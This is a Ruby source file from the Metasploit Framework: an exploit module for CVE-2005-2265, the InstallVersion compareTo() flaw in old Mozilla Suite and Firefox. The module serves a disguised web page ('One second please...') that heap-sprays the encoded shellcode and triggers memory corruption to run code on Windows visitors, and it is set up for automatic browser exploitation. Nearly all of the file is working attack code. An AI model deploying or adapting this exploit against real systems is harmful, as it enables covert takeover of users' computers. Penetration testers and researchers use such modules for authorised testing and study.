147 lines
4.0 KiB
Ruby
147 lines
4.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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#
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# This module acts as an HTTP server
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#
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::BrowserAutopwn
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# The version for this vuln is tricky because it affects mozilla 1.7-1.7.10
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# and firefox 1.0-1.0.4, so we set minver and maxver to the outer bounds.
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autopwn_info({
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:ua_name => HttpClients::FF,
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:ua_minver => "1.0",
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:ua_maxver => "1.7.10",
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:os_name => OperatingSystems::WINDOWS,
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:javascript => true,
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:rank => NormalRanking, # reliable memory corruption
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:vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
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})
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution',
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'Description' => %q{
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This module exploits a code execution vulnerability in the Mozilla
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Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
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module is a direct port of Aviv Raff's HTML PoC.
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},
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'License' => MSF_LICENSE,
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'Author' => ['hdm', 'Aviv Raff <avivra [at] gmail.com>'],
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2005-2265'],
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['OSVDB', '17968'],
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['BID', '14242'],
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['URL', 'http://www.mozilla.org/security/announce/mfsa2005-50.html'],
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],
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00",
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},
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'Targets' =>
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[
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# Tested against Firefox 1.0.4 and Mozilla 1.7.1 on
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# WinXP-SP3 and Win2kAS-SP0
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[ 'Firefox < 1.0.5, Mozilla < 1.7.10, Windows',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Ret' => 0x0c0c0c0c,
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jul 13 2005'
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))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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print_status("Sending #{self.name}")
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send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
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# Handle the payload
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handler(cli)
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end
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def generate_html(payload)
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enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
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spray_to = sprintf("0x%.8x", target.ret)
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spray_slide1 = Rex::Text.to_unescape( [target.ret].pack('V'), Rex::Arch.endian(target.arch) )
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spray_slide2 = Rex::Text.to_unescape( [target.ret].pack('V'), Rex::Arch.endian(target.arch) )
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eax_address = sprintf("0x%.8x", target.ret)
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return %Q|
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<html>
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<head>
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<!--
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Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
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From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
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Greets: SkyLined, The Insider and shutdown
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-->
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<title>One second please...</title>
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<script language="javascript">
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function BodyOnLoad()
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{
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location.href="javascript:void (new InstallVersion());";
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CrashAndBurn();
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};
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#{js_heap_spray}
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// The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
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function CrashAndBurn()
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{
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// Payload - Just return..
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var payLoadCode=unescape("#{enc_code}");
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// Size of the heap blocks
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var heapBlockSize=0x400000;
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sprayHeap(payLoadCode, #{target.ret}, heapBlockSize - (payLoadCode.length + 0x38));
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// Set address to fake "pdata".
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var eaxAddress = #{eax_address};
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// This was taken from shutdown's PoC in bugzilla
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// struct vtbl { void (*code)(void); };
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// struct data { struct vtbl *pvtbl; };
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//
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// struct data *pdata = (struct data *)(xxAddress & ~0x01);
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// pdata->pvtbl->code(pdata);
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//
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(new InstallVersion).compareTo(new Number(eaxAddress >> 1));
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}
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// -->
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</script>
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</head>
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<body onload="BodyOnLoad()">
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</body>
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</html>
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end
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end
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